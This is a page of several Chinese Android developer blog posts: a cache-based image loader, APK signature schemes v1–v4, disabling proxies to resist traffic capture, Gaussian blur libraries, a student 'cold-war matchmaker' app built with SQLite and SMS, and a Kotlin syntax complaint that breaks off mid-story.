在项目开发中,我们加载图片一般使用的是第三方库,比如Glide,在闲暇之余突发奇想,自己动手实现一个简单的Android网络图片加载器。首先定义API,API的定义应该简单易用,比如imageLoader.displayImage(imageView,imag...
继续阅读 »

在项目开发中,我们加载图片一般使用的是第三方库,比如Glide,在闲暇之余突发奇想,自己动手实现一个简单的Android网络图片加载器。

首先定义API,API的定义应该简单易用,比如

imageLoader.displayImage(imageView,imagePath);

其次应该支持缓存。缓存一般是指三级缓存,先定义一个入口类ImageLoader

public ImageLoader(Activity activity) {
   this.activity = activity;
   memoryCache = new MemoryCache();
   diskCache = new DiskCache(activity);
   netCache = new NetCache(activity,memoryCache,diskCache);
}

在初始化的时候就初始化内存缓存,磁盘缓存,网络缓存三个变量,然后定义加载方法:

public void displayImage(final ImageView imageView, String url,int placeholder){
   imageView.setTag(url);
   imageView.setImageResource(placeholder);
   Bitmap bitmap;
   bitmap = memoryCache.getBitmap(url);
   if(bitmap != null){
       imageView.setImageBitmap(bitmap);
       Log.i(TAG, "从内存中获取图片");
       return;
  }
   bitmap = diskCache.getBitmap(url);
   if(bitmap != null){
       imageView.setImageBitmap(bitmap);
       memoryCache.setBitmap(url,bitmap);
       Log.i(TAG, "从磁盘中获取图片");
       return;
  }
   netCache.getBitmap(imageView,url);
}

首先将图片地址设置给ImageView的tag,防止因为ImageView复用导致图片错乱的问题。然后设置一个占位图防止图片加载过慢ImageVIew显示白板

三级缓存中从内存中加载缓存信息是最快的,所以第一步从内存缓存中查找,如果找到了就直接设置给ImageView,否则继续从磁盘缓存中查找,找到了就显示,最后实在找不到就从网络下载图片

内存缓存

public class MemoryCache {
   private LruCache<String,Bitmap> lruCache;
   public MemoryCache() {
       long maxMemory  = Runtime.getRuntime().maxMemory() / 8;
       lruCache = new LruCache<String,Bitmap>((int) maxMemory){
           @Override
           protected int sizeOf(String key, Bitmap value) {
               return value.getByteCount();
          }
      };
  }
   public Bitmap getBitmap(String url) {
       return lruCache.get(url);
  }
   public void setBitmap(String url,Bitmap bitmap) {
       lruCache.put(url,bitmap);
  }
}

内存缓存比较简单,只需要将加载过的图片放入内存,然后下次加载直接获取,由于内存大小有限制,所以这里使用了LruCache算法保证缓存不会无限制增长。

磁盘缓存

对于已经缓存在磁盘上的文件,就不需要在从网络下载了,直接从磁盘读取。

public Bitmap getBitmap(String url) {
   FileInputStream is;
   String cacheUrl = Md5Utils.md5(url);
   File parentFile = new File(Values.PATH_CACHE);
   File file = new File(parentFile,cacheUrl);
   if(file.exists()){
       try {
           is = new FileInputStream(file);
           Bitmap bitmap =  decodeSampledBitmapFromFile(file.getAbsolutePath());
           is.close();
           return bitmap;
      } catch (Exception e) {
           e.printStackTrace();
      }
  }
   return null;
}

考虑到多图加载的时候,如果图片太大容易OOM,所以需要对加载的图片稍作处理

public  Bitmap decodeSampledBitmapFromFile(String pathName){
   BitmapFactory.Options options = new BitmapFactory.Options();
   options.inJustDecodeBounds = true;
   BitmapFactory.decodeFile(pathName,options);
   options.inSampleSize = calculateInSampleSize(options)*2;
   options.inJustDecodeBounds = false;
   options.inPreferredConfig = Bitmap.Config.RGB_565;
   return BitmapFactory.decodeFile(pathName,options);
}

这里降低了图片的采样,对图片的质量进行了压缩

对于本地没有缓存的图片,需要从网络下载,当获取到图片流之后,保存在本地

public void saveBitmap(InputStream inputStream, String url) throws IOException {
   String cacheUrl = Md5Utils.md5(url);
   File parentFile = new File(Values.PATH_CACHE);
   if(!parentFile.exists()){
       parentFile.mkdirs();
  }
   FileOutputStream fos = new FileOutputStream(new File(parentFile,cacheUrl));
   byte[] bytes = new byte[1024];
   int index = 0;
   while ((index = inputStream.read(bytes))!=-1){
       fos.write(bytes,0,index);
       fos.flush();
  }
   inputStream.close();
   fos.close();
}

为了防止图片url带一些非法字符导致创建文件失败,所以对url进行了md5处理

网络缓存

这里比较简单,直接从服务器加载图片信息就可以了,访问网络使用了OkHttp

public void getBitmap(final ImageView imageView, final String url) {
   OkHttpClient client = new OkHttpClient();
   Request request = new Request.Builder() .get().url(url).build();
   client.newCall(request).enqueue(new Callback() {
       @Override
       public void onFailure(Call call, IOException e) {
           imageView.setImageResource(R.mipmap.ic_error);
      }
       @Override
       public void onResponse(Call call, Response response) throws IOException {
           InputStream inputStream = response.body().byteStream();
           diskCache.saveBitmap(inputStream, url);
           activity.runOnUiThread(new Runnable() {
               @Override
               public void run() {
                   if (url != null && url.equals(imageView.getTag())) {
                       Bitmap bitmap = diskCache.getBitmap(url);
                       memoryCache.setBitmap(url, bitmap);
                       if (bitmap != null) {
                           imageView.setImageBitmap(bitmap);
                      } else {
                           imageView.setImageResource(R.mipmap.ic_error);
                      }
                  } else {
                       imageView.setImageResource(R.mipmap.ic_place);
                  }
              }
          });
      }
  });
}

当获取到图片后,分别放入磁盘和内存缓存起来

使用

最后直接在需要加载图片的地方调用

new ImageLoader(activity).displayImage(imageView,path)


作者:晚来天欲雪_
来源:juejin.cn/post/7088693420109070373

收起阅读 »

细说Android apk四代签名:APK v1、APK v2、APK v3、APK v4

简介大部分开发者对apk签名还停留在APK v2,对APK v3和APK v4了解很少,而且网上大部分文章讲解的含糊不清,所以根据官网文档重新整理一份。apk签名从APK v1到APK v2改动很大,是颠覆性的,而APK v3只是对APK v2的一次升级,AP...
继续阅读 »

简介

大部分开发者对apk签名还停留在APK v2,对APK v3和APK v4了解很少,而且网上大部分文章讲解的含糊不清,所以根据官网文档重新整理一份。

apk签名从APK v1到APK v2改动很大,是颠覆性的,而APK v3只是对APK v2的一次升级,APK v4则是一个补充。

本篇文章主要参考Android各版本改动: developer.android.google.cn/about/versi…

APK v1

就是jar签名,apk最初的签名方式,大家都很熟悉了,签名完之后是META-INF 目录下的三个文件:MANIFEST.MF、CERT.SF、CERT.RSA。

MANIFEST.MF

MANIFEST.MF中是apk种每个文件名称和摘要SHA1(或者 SHA256),如果是目录则只有名称

CERT.SF

CERT.SF则是对MANIFEST.MF的摘要,包括三个部分:

  • SHA1-Digest-Manifest-Main-Attributes:对 MANIFEST.MF 头部的块做 SHA1(或者SHA256)后再用 Base64 编码

  • SHA1-Digest-Manifest:对整个 MANIFEST.MF 文件做 SHA1(或者 SHA256)后再用 Base64 编码

  • SHA1-Digest:对 MANIFEST.MF 的各个条目做 SHA1(或者 SHA256)后再用 Base64 编码

CERT.RSA

CERT.RSA是将CERT.SF通过私钥签名,然后将签名以及包含公钥信息的数字证书一同写入 CERT.RSA 中保存

通过这三层校验来确保apk中的每个文件都不被改动。

APK v2

官方说明:source.android.google.cn/security/ap…

APK 签名方案 v2 是在 Android 7.0 (Nougat) 中引入的。为了使 APK 可在 Android 6.0 (Marshmallow) 及更低版本的设备上安装,应先使用 JAR 签名功能对 APK 进行签名,然后再使用 v2 方案对其进行签名。

APK v1的缺点就是META-INF目录下的文件并不在校验范围内,所以之前多渠道打包等都是通过在这个目录下添加文件来实现的。

APK 签名方案 v2 是一种全文件签名方案,该方案能够发现对 APK 的受保护部分进行的所有更改,从而有助于加快验证速度并增强完整性保证。

使用 APK 签名方案 v2 进行签名时,会在 APK 文件中插入一个 APK 签名分块,该分块位于“ZIP 中央目录”部分之前并紧邻该部分。在“APK 签名分块”内,v2 签名和签名者身份信息会存储在 APK 签名方案 v2 分块中。


通俗点说就是签名信息不再以文件的形式存储,而是将其转成二进制数据直接写在apk文件中,这样就避免了APK v1的META-INF目录的问题。

在 Android 7.0 及更高版本中,可以根据 APK 签名方案 v2+ 或 JAR 签名(v1 方案)验证 APK。更低版本的平台会忽略 v2 签名,仅验证 v1 签名。


APK v3

官方说明:source.android.google.cn/security/ap…

APK 签名方案 v3 是在 Android 9 中引入的。

Android 9 支持 APK 密钥轮替,这使应用能够在 APK 更新过程中更改其签名密钥。为了实现轮替,APK 必须指示新旧签名密钥之间的信任级别。为了支持密钥轮替,我们将 APK 签名方案从 v2 更新为 v3,以允许使用新旧密钥。v3 在 APK 签名分块中添加了有关受支持的 SDK 版本和 proof-of-rotation 结构的信息。

简单来说APK v3就是为了Andorid9的APK 密钥轮替功能而出现的,就是在v2的基础上增加两个数据块来存储APK 密钥轮替所需要的一些信息,所以可以看成是v2的升级。具体结构见官网说明即可。

APK 密钥轮替功能可以参考:developer.android.google.cn/about/versi…

具有密钥轮转的 APK 签名方案

Android 9 新增了对 APK Signature Scheme v3 的支持。该架构提供的选择可以在其签名块中为每个签名证书加入一条轮转证据记录。利用此功能,应用可以通过将 APK 文件过去的签名证书链接到现在签署应用时使用的证书,从而使用新签名证书来签署应用。

developer.android.google.cn/about/versi…

注:运行 Android 8.1(API 级别 27)或更低版本的设备不支持更改签名证书。如果应用的 minSdkVersion 为 27 或更低,除了新签名之外,可使用旧签名证书来签署应用。

详细了解如何使用 apksigner 轮转密钥参考:developer.android.google.cn/studio/comm…

在 Android 9 及更高版本中,可以根据 APK 签名方案 v3、v2 或 v1 验证 APK。较旧的平台会忽略 v3 签名而尝试验证 v2 签名,然后尝试验证 v1 签名。


APK v4

官方说明:source.android.google.cn/security/ap…

APK 签名方案 v4 是在 Android 11 中引入的。

Android 11 通过 APK 签名方案 v4 支持与流式传输兼容的签名方案。v4 签名基于根据 APK 的所有字节计算得出的 Merkle 哈希树。它完全遵循 fs-verity 哈希树的结构(例如,对salt进行零填充,以及对最后一个分块进行零填充。)Android 11 将签名存储在单独的 .apk.idsig 文件中。v4 签名需要 v2 或 v3 签名作为补充。

APK v4同样是为了新功能而出现的,这个新功能就是ADB 增量 APK 安装,可以参考Android11 功能和 API 概览: developer.android.google.cn/about/versi…

ADB 增量 APK 安装

在设备上安装大型(2GB 以上)APK 可能需要很长的时间,即使应用只是稍作更改也是如此。ADB(Android 调试桥)增量 APK 安装可以安装足够的 APK 以启动应用,同时在后台流式传输剩余数据,从而加速这一过程。如果设备支持该功能,并且您安装了最新的 SDK 平台工具,adb install 将自动使用此功能。如果不支持,系统会自动使用默认安装方法。

developer.android.google.cn/about/versi…

运行以下 adb 命令以使用该功能。如果设备不支持增量安装,该命令将会失败并输出详细的解释。

adb install --incremental

在运行 ADB 增量 APK 安装之前,您必须先为 APK 签名并创建一个 APK 签名方案 v4 文件。必须将 v4 签名文件放在 APK 旁边,才能使此功能正常运行。

developer.android.google.cn/about/versi…

因为需要流式传输,所以需要将文件分块,对每一块进行签名以便校验,使用的方式就是Merkle 哈希树(http://www.kernel.org/doc/html/la… v4就是做这部分功能的。所以APK v4与APK v2或APK v3可以算是并行的,所以APK v4签名后还需要 v2 或 v3 签名作为补充。

运行 adb install --incremental 命令时,adb 会要求 .apk.idsig 文件存在于 .apk 旁边(所以APK v4的签名文件.apk.idsig并不会打包进apk文件中

默认情况下,它还会使用 .idsig 文件尝试进行增量安装;如果此文件缺失或无效,该命令会回退到常规安装。


总结

综上,可以看到APK v4是面向ADB即开发调试的,而如果我们没有签名变动的需求也可以不考虑APK v3,所以目前国内大部分还停留在APK v2。


作者:BennuCTech
来源:juejin.cn/post/7068079232290652197

收起阅读 »

App如何防止抓包

前言App安全非常重要,尤其是数据安全。但是我们知道通过Charles等工具可以对App的网络请求进行抓包,如果我们的数据没有进行加密,这样这些信息就会被清楚的提取出来,会被不法分子进行利用。保证数据安全有很多种方法,今天简单聊一聊如何通过简单几步防止抓包。正...
继续阅读 »

前言

App安全非常重要,尤其是数据安全。但是我们知道通过Charles等工具可以对App的网络请求进行抓包,如果我们的数据没有进行加密,这样这些信息就会被清楚的提取出来,会被不法分子进行利用。保证数据安全有很多种方法,今天简单聊一聊如何通过简单几步防止抓包。

正文

当我们进行网络请求的时候,一般通过URL的openConnection来建立连接,代码如下:

URLConnection conn = url.openConnection()

其实openConnection这个函数还有一个版本,可以传入一个proxy对象,代码如下:

public URLConnection openConnection(Proxy proxy)
   throws java.io.IOException

这样我们通过这个函数建立连接时传入一个Proxy.NO_PROXY,即可达到防止抓包的效果,如Charles等抓包工具就无法看到我们的链接信息了,代码如下

URLConnection conn = url.openConnection(Proxy.NO_PROXY)

官方对于Proxy.NO_PROXY描述如下:

/**
* A proxy setting that represents a {@code DIRECT} connection,
* basically telling the protocol handler not to use any proxying.
* Used, for instance, to create sockets bypassing any other global
* proxy settings (like SOCKS):
* <P>
* {@code Socket s = new Socket(Proxy.NO_PROXY);}
*
*/
public final static Proxy NO_PROXY = new Proxy();

// Creates the proxy that represents a {@code DIRECT} connection.
private Proxy() {
   type = Type.DIRECT;
   sa = null;
}

我么可以看到NO_PROXY实际上就是type属性为DIRECT的一个Proxy对象,这个type有三种:

  • DIRECT

  • HTTP

  • SOCKS

官方描述如下:

public enum Type {
   /**
    * Represents a direct connection, or the absence of a proxy.
    */
   DIRECT,
   /**
    * Represents proxy for high level protocols such as HTTP or http://FTP.
    */
   HTTP,
   /**
    * Represents a SOCKS (V4 or V5) proxy.
    */
   SOCKS
};

这样因为是直连,所以不走代理。所以Charles等工具就抓不到包了,这样一定程度上保证了数据的安全。

当然这种方式只是通过代理抓不到包,如果直接通过路由还是可以抓包的。


作者:BennuCTech
来源:juejin.cn/post/7078077090506997767

收起阅读 »

情绪宣泄App:十年前IT男编程撩妹纪实

阅读本文,你将收获以下内容:1、通过观察11年前的Android代码,了解安卓开发生态近十年间的演进。2、通过了解这款创意App的功能,对IT男该如何运用技术做出反思。3、不幸看到作者大学时期的照片,形象极其猥琐、狼狈、不堪……够了,谁在动键盘?!前言因为在掘...
继续阅读 »

阅读本文,你将收获以下内容:

1、通过观察11年前的Android代码,了解安卓开发生态近十年间的演进。

2、通过了解这款创意App的功能,对IT男该如何运用技术做出反思。

3、不幸看到作者大学时期的照片,形象极其猥琐、狼狈、不堪……够了,谁在动键盘?!

前言

因为在掘金的创作者群里比嘻哈,有人觉得我经常信口开河,尤其我写了那篇《我裁完兄弟们辞职了,转行做了一名小职员》后,有掘友评论:“这篇文章艺术成分很高”、“感觉是编故事”等等。


其中,我文章里提到过一句:我大学期间搞过Android的APP去运作。


今天,就说说这件事,一来展现下创意作品,二来给自己挽回一些微信……违心……维新……不要了。

女朋友

回到2010年,那时我上大二,谈了一个女朋友,她现在是我孩子的妈妈。

女朋友哪里都好,漂亮、温柔、大方,唯一一点就是脾气太大。

因为我不会制造浪漫,所以女朋友经常对我发脾气,一发脾气就不理我。

我一想,如果她不理我的时间设为N,如果N值无限大,那就相当于分手了,这感情不就黄了吗?

情侣在吵架冷战期间,如何才能不见面也能如同见面一般宣泄情绪,从而刷存在感呢?

可以做一款App来解决这个问题。

冷战红娘App

这款App我取名叫“冷战红娘”,意思是情侣在冷战期间调和关系的红娘媒介,并且我还亲自设计了LOGO和启动页。


一个安卓小机器人,手里拿着玫瑰花,表示示好,头顶两个触角间发出电波,表示科技和智能。

那一年,我才19岁。不行了,我膨胀得快要爆掉了。

功能简介

本软件主要有三大功能:涂鸦对方照片、写情绪日记、告知情绪结果。

下面是首页的效果:


下面是实现代码的目录结构:


女朋友名字中带“冰”,我名字中带“磊”,因此项目名是LoveBing,包名是com.lei.lovebing01

有安卓小伙伴看到目录结构可能会发现少文件,说我在糊弄你,起码你的build.gradle得有吧。

朋友,这是2010年的安卓项目,那时的版本号是SdkVersion="8",也就是Android 2.2,现在最新版本已经到了API 32, Android 12了。从互联网时代来看,就好像是现在和清朝的区别。

那时还没有动态权限请求,存取文件也不用FileProvider,你可以随意读取其他程序的内部数据,应用层就可以静默发送短信和获取定位,开发者可以更好地实现自己的想法,不必受到很多限制。当然,这在现在看来是不安全的。所以,任何事物的成熟都是有周期的。

那时候也没有现在这么多的第三方框架,基本都是调用Android原生的API,操作数据库需要直接使用android.database.sqlite.SQLiteDatabase,SQL语句要自己写,操作异常要自己处理。

下面,就让我们跟随功能,结合代码,一起去剖析一下这款App吧。

涂鸦

女朋友生气不理我了,短信不回,电话不接,女生宿舍我又进不去。但是,她又有怨气没地方宣泄。这时,她就会打开这个功能,可以把我的头像摆出来,然后进行各种攻击,支持花色涂抹,支持往我的照片上放小虫子、扔臭鸡蛋、使用炸弹爆破效果等等。天啊,我这是怎么了……不但有这种想法,而且还开发出了功能。


其实,要实现这个功能,非常简单。

首先,整个页面的数据,是通过配置完成的,各种颜色,工具,以及图标,需要事先声明好。

//信手涂鸦里的数据=====================================================
//工具的名字
public final static String[] colortext={"红色", "黄色","绿色",
"粉色", "黑色", "紫色", "蓝色", "浅绿", "棕色"};
//工具的图片
public final static int[] colorpic = {
R.drawable.color1, R.drawable.color2,
R.drawable.color3, R.drawable.color4,
R.drawable.color5, R.drawable.color6,
R.drawable.color7, R.drawable.color8,
R.drawable.color9 };

//信手涂鸦颜色选择
public  static final int red = 0;
public  static final int yellow = 1;
public  static final int green = 2;
public  static final int pink = 3;
public  static final int black = 4;
public  static final int purple = 5;
public  static final int blackblue = 6;
public  static final int lightgreen = 7;
public  static final int orange = 8;

//使用工具里的数据=====================================================
public final static String[] toolstext={"鸡蛋", "炸弹","生物","喷溅"};//工具的名字
public final static int[] toolspic = {//工具的图片
R.drawable.dao, R.drawable.zhadan01,R.drawable.tool,R.drawable.penjian
};

public final static int[][] toolspic_01 = {//工具的图片使用后
{R.drawable.dao_01, R.drawable.dao_02, R.drawable.dao_03,R.drawable.dao_01}
,{ R.drawable.baozha01, R.drawable.baozha02, R.drawable.baozha03, R.drawable.baozha04}
,{R.drawable.tools_01, R.drawable.tools_02, R.drawable.tools_03, R.drawable.tools_04}
,{R.drawable.penjian01, R.drawable.penjian02, R.drawable.penjian03, R.drawable.penjian04}
};

通过配置的方式,有一个极大的好处,那就是以后你增加新的工具,不用修改代码,直接修改配置文件即可。

下面一步就是使用一个Canvas画板,把上面的配置画到画布上,并响应用户的交互,为此我新建了一个CanvasView,它继承了View

public class CanvasView extends View{

   public Bitmap[][] bitmapArray;
   private Canvas  mCanvas;

   public CanvasView(Context context) {
       super(context);
       bitmapArray=new Bitmap[MyData.toolspic.length][4];//实例化工具数组
       //载入工具需要的图像
       InputStream bitmapis;
       for(int i=0; i<MyData.toolspic_01.length; i++){
           for(int j=0; j<MyData.toolspic_01[i].length; j++){
               bitmapis = getResources().openRawResource(MyData.toolspic_01[i][j]);
               bitmapArray[i][j] = BitmapFactory.decodeStream(bitmapis);
          }
      }
       // 使用mBitmap创建一个画布
       mCanvas = new Canvas(mBitmap);
       mCanvas.drawColor(0xFFFFFFFF);//背景为白色
  }
     
   //在用户点击的地方画使用的工具
   public void drawTools(int bitmapID){
       Random rand = new Random();
       int myrand = rand.nextInt(bitmapArray[bitmapID].length);
       mCanvas.drawBitmap(bitmapArray[bitmapID][myrand], mX-bitmapArray[bitmapID]
          [myrand].getWidth()/2, mY-juli-bitmapArray[bitmapID][myrand].getHeight()/2, null);
  }
   ……
}

上面只是部分关键代码,主要展示了如何加载图片,以及如何响应用户的操作,基本无难点。

女朋友毕竟花费了一番功夫,作品肯定要给她保留,因为她可能要展示给我看:你看,昨天你惹我多严重,我把你画成这样!


涂鸦完成之后,文件保存到SD卡目录即可。权限管理方面,在AndroidManifest.xml中注册一下就行,除此之外,再无其他操作。

<!--  向SD卡写入数据的权限  -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

当然,现在不可以了,Android 6.0以后,你得动态申请权限了。

值得一说的是,上面的图片浏览控件叫ImageSwitcher,这是个老控件了,很简单就可以实现幻灯片浏览的效果。

日记

如果涂鸦无法完全解气,为了能让女朋友把生气的原因表述明白,我特意增加了这个生气日记的功能。效果等同于她面对面骂我,期望她写完了气也就消了。


你觉得数据应该保存到哪里?我首选的是Android内嵌的Sqlite3数据库。

Android中最原始的sqlite数据库操作是这样的,先利用官方的SQLiteOpenHelper创建数据库和数据表。

import android.content.Context;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteOpenHelper;

public class DBOpenHelper extends SQLiteOpenHelper {

private static final String DATABASENAME = "angrydiary.db"; //数据库名称
private static final int DATABASEVERSION = 1;//数据库版本

public DBOpenHelper(Context context) {
super(context, DATABASENAME, null, DATABASEVERSION);
}

public void onCreate(SQLiteDatabase db) {
//建数据表 message 日记
db.execSQL("CREATE TABLE message (message_id integer primary key autoincrement,
                   message_title varchar(50), message_text varchar(500), message_state integer)");
}

public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
db.execSQL("DROP TABLE IF EXISTS message");
onCreate(db);
}
}

然后再写上操作数据表数据的方法。就拿生气日记信息的数据处理举例子。

import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;

public class MessageServiceDB {

private DBOpenHelper dbOpenHelper;
//构造函数
public MessageServiceDb(Context context) {
this.dbOpenHelper = new DBOpenHelper(context);
}
//保存数据
public void save(Message message){
SQLiteDatabase db = dbOpenHelper.getWritableDatabase();
ContentValues values = new ContentValues();
values.put("message_title", message.getTitle());
values.put("message_text", message.getText());
db.insert("message", null, values);
db.close();
}
//获得数据
public List<Message> getScrollData(Integer offset, Integer maxResult){
List<Message> messageList = new ArrayList<Message>();
SQLiteDatabase db = dbOpenHelper.getReadableDatabase();
Cursor cursor = db.query("message", null, null, null, null, null, "message_id desc", offset+","+ maxResult);
while(cursor.moveToNext()){
Integer message_id = cursor.getInt(cursor.getColumnIndex("message_id"));
String message_title = cursor.getString(cursor.getColumnIndex("message_title"));
String message_text = cursor.getString(cursor.getColumnIndex("message_text"));
Message message = new TvMessage(message_id,message_title, message_text);
messageList.add(message);
}
cursor.close();
db.close();
return messageList;
}
//删除一项数据
public void delete(Integer id){
SQLiteDatabase db = dbOpenHelper.getWritableDatabase();
db.delete("message", "message_id=?", new String[]{id.toString()});
db.close();
}  
}

利用之前构造好的数据库帮助类dbOpenHelper,然后调用增删改查进行数据处理。这里面的增删改查,有两种方式实现,一种直接写Sql语句,另一种支持对象操作。我基本上都是用的对象操作,比如删除直接就是db.delete(xx)

日志列表我也是煞费苦心,为了便于了解女朋友还对哪些事情生气,我特意开发了生气事件黑白名单功能。一个事件可以反复标记是否原谅我了。这样可以了解女朋友心中还有哪些心结,可以让我逐个攻破。


此处调用一个修改方法就可以了,其实就是取出message对象后重新setState一个新值就可以了。

//修改信息状态
public void update(Message message){
   SQLiteDatabase db = dbOpenHelper.getWritableDatabase();
   ContentValues values = new ContentValues();
   values.put("message_state", message.getState());
   db.update("message", values, "message_id=?", new String[]{message.getId().toString()});
   db.close();
}

需要注意的是,对于每次打开数据库或者Cursor,都要记得关闭,不关闭不会影响功能,但是会带来风险。现在你使用各种框架的话,完全不用考虑这些操作,因为他们都帮你做了。

安卓开发,以前和现在,用SDK和用第三方框架,就像是汽车的手动挡和自动挡,其中的优劣,自己体会。虽然我是从老手动挡过来的,但是我站自动挡这边,因为我不会傻到逆着发展趋势去行走。

反馈

女朋友也涂鸦了,也写了生气日记,最后应该也累了。为了缓解她的疲劳,我特意开发了一个看图发愣的功能。只需要点开看图发愣,就会随机出现一个唯美的动态图,并且伴随着唰唰的雨声,可以让她看上几个小时,仔细思考人生,思考我这个男朋友值不值得交往。


对于如何展示gif动态图,前端可能要骂人了,因为gif还需要动代码吗?浏览器不全给解释了。但是,当时我需要自己去解析,安卓原生的图片控件是无法展示动图的。所以,你看老一辈的程序员面临多少困难,新一代的程序员完全不用考虑这些。所以,你们应该把更多精力放在更高级的研究上,因为我相信你们也有你们的困难点。

这个图很美,我单独拿出来了,朋友们可以保存下来,自己看。或者,你试试自己去解析一下。


好了,现在总该不生气了吧。针对于此时的场景,我又开发了一个快捷短信功能,女朋友可以选择短信模板,快速给我发送短信息,给我一个台阶,让我及时去哄她。她可以说不是她发的,是我开发的软件发的,这样可以避免“她先联系的我”这类不利立场的产生。


我一贯执行配置策略,短信模板也是写到value文件夹下的xml文件中的。

<string-array name="message_ex"> 
   <item>不要生气了,我错了!</item>  
   <item>我不生气了,你快点陪我逛街!</item>  
   <item>讨厌,还不给我打电话!</item>  
   <item>我错了,我不该对你发火的!</item>  
   <item>三个小时内给我打电话!</item>  
   <item>快给我给我买爆米花!</item>    
</string-array>

关于发送短信,这里面有两点细节。

SmsManager smsManager = SmsManager.getDefault();
PendingIntent sentIntent = PendingIntent.getBroadcast(DuanxinActivity.this, 0, new Intent(), 0);
//如果字数超过70,需拆分成多条短信发送
if (text.length() > 70) {
   List<String> msgs = smsManager.divideMessage(text);
   for (String msg : msgs) {
   smsManager.sendTextMessage(phone, null, msg, sentIntent, null);                        
  }
} else {
   smsManager.sendTextMessage(phone, null, text, sentIntent, null);
}

第一,为什么不调用Intent(Intent.ACTION_SEND)让系统去发送短信?一开始确实是这样的。但是,后来改良为调用代码应用内发送了。因为我不想让女朋友离开我的软件,跳到第三方系统应用,避免用户跳出场景,因为有时候女朋友会夺命连环发短信(告知对方问题很严重,提高优先级),需要来回切程序,这样用着不爽,就更生气了。而且自己发送我还能捕获到发送结果,给出“发送成功”的温馨提示,但是交给第三方应用发送你是获取不到的。

第二,关于字数超过70,需要拆成多条短信,这也是经过实践得来的。满满的都是痛。

有同学不明白为什么要发短信,因为那时候还没有微信,微信是2011年才出来的。

后记

后来,经过不断反馈和改良,这款App越来越完善。

最后,女朋友看我这么用心地对待这份感情,尤其对于她反馈的软件问题,我询问地非常仔细(复现场景、发生时间、前后操作流程),修改地也非常及时(改完了就让她再试试看),她感觉我是一个靠谱和细心的人,于是她也慢慢地不再那么容易生气了。

再后来,有一个全国高校的大学生IT技能比赛,我的老师就让我拿这个作品参赛了,最后去了北京大学进行了决赛。

虽然这款App技术含量不高,但它是一款身经百战的App,它经过了多次迭代,因为用户体验和创意比较好,我最终获得全国第七名的成绩,荣获二等奖。

下面是证书,教育部的证书我是不敢造假的,我用Photoshop(是的,我也会做UI设计)做了简单的遮挡和放大,主要想让大家看一下日期确实是2011年,和我文章里描述的一样(我没有编故事)。


这款App真的没有任何技术含量,无外乎控件的罗列、画板的绘制、数据的存储。我想现在的每一个大学生都能做的到。但是不夸张地讲,它看起来却是很强大的样子。而究其根源,我想应该就是它运用技术手段尝试去解决生活中的问题,让效果得到了放大,使它具备了生命力。

直至今天,我依然在做类似(用技术解决生活中的问题)的事情。

最后,我想借助掘金App的标语结束本文,这也是我每天都会看到的一句话:

相信技术,传递价值。

作者:TF男孩
来源:juejin.cn/post/7123985353878274056

收起阅读 »

Android 三行代码实现高斯模糊

设计:有了毛玻璃效果,产品的逼格直接拉满了呀我:啊,对对对。我去 GayHub 上找找有没有好的解决方案吧设计:GayHub ???寻找可行的方案要实现高斯模糊的方式有很多,StackBlur、RenderScript、Glide 等等都是不错的方式,但最简单...
继续阅读 »

设计:有了毛玻璃效果,产品的逼格直接拉满了呀

我:啊,对对对。我去 GayHub 上找找有没有好的解决方案吧

设计:GayHub ???

寻找可行的方案

要实现高斯模糊的方式有很多,StackBlur、RenderScript、Glide 等等都是不错的方式,但最简单直接效率最高的方式,还得是上 Github。

搜索的关键词为 android blur,可以看到有两个库是比较合适的, BlurryBlurView。 这两个库 Star 数比较高,并且也还在维护着。

于是,便尝试了一番,发现 BlurView 比 Blurry 更好用,十分推荐上手 BlurView


Blurry

  • 优点:API 使用非常简洁,效果也不错,提供同步和异步加载的解决方案

  • 缺点:奇奇怪怪的 Bug 非常多,并且只能作用于 ImageView

    • 使用时,基本会遇到这两个 Bug:issue1issue2

    • issue1(NullPointerException) 已经有现成的解决方案

    • issue2(Canvas: trying to use a recycled bitmap) 则从 17 年至今毫无进展,并且复现概率还比较高

BlurView(推荐)

  • 优点:使用的过程中几乎没有遇到 bug,实现时调用的代码较少。并且,可以实现复杂的模糊 View

  • 缺点:需要在 xml 中配置,并且需要花几秒钟的时间理解一下 rootView 的概念

  • 使用方式:

    XML:

    <androidx.constraintlayout.widget.ConstraintLayout
    ...
    android:id="@+id/rootView"
    android:background="@color/purple_200" >
     
    <ImageView
      ...
      android:id="@+id/imageView" />
     
    <eightbitlab.com.blurview.BlurView
      ...
      android:id="@+id/blurView" />

    </androidx.constraintlayout.widget.ConstraintLayout>

    MainActivity#onCreate:

    // 这里的 rootView,只要是 blurView 的任意一个父 View 即可
    val rootView = findViewById<ConstraintLayout>(R.id.rootView)
    val blurView = findViewById<BlurView>(R.id.blurView)
    blurView.setupWith(rootView, RenderScriptBlur(this))
  • 实现的效果

    使用前:

    使用后:

  • Tips :

    • 在 BlurView 以下的 View 都会有高斯模糊的效果

    • rootView 可以选择离 BlurView 最近的 ViewGroup

    • .setBlurRadius() 可以用来设置卷积核的大小,默认是 16F

    • .setOverlayColor() 可以用来设置高斯模糊覆盖的颜色值

    • 例如如下参数配置时可以达到这样的效果:

      blurView.setupWith(rootView, RenderScriptBlur(this))
                .setBlurRadius(5F)
                .setOverlayColor(Color.parseColor("#77000000"))

    • 最后,再补充一下滑动时的效果:



作者:很好奇
来源:juejin.cn/post/7144663860027326494

收起阅读 »

糟糕的 Kotlin 语法糖

这几天在 review 同事的代码的时候,发现一块有意思的代码,我将其写成对应的伪代码如下:class UserViewModel(val userUsecase: UserUsecase) {    // 根据 userId 获取 use...
继续阅读 »

这几天在 review 同事的代码的时候,发现一块有意思的代码,我将其写成对应的伪代码如下:

class UserViewModel(val userUsecase: UserUsecase) {

   // 根据 userId 获取 userName
   fun getUser(userId:Int) {
       val name = userUsecase(userId).name
  }
   
}

class User(val name: String, val age: Int) {}

起初在看到这段代码的时候,觉得十分反人类,在 Kotlin 中,对象的初始化可以省略 new 操作符,也即类后面再配个 () 即可,为啥一个初始化的对象还能继续用 (),在直观的感受下,我以为是初始化了一个对象,唯一让我觉得不像是初始化的就是 userUsecase 开头并不是大写,这才打消我认为他是初始化对象的疑虑。

在我想点进去看下根据 userId 获取 User 的过程,我无论追踪代码,都无法跳转到真正的逻辑代码调用处,点击 userUsecase 会直接跳转到 UserViewModel 的构造方法,点击 name 会跳转到 User 对象,这让我很苦恼。

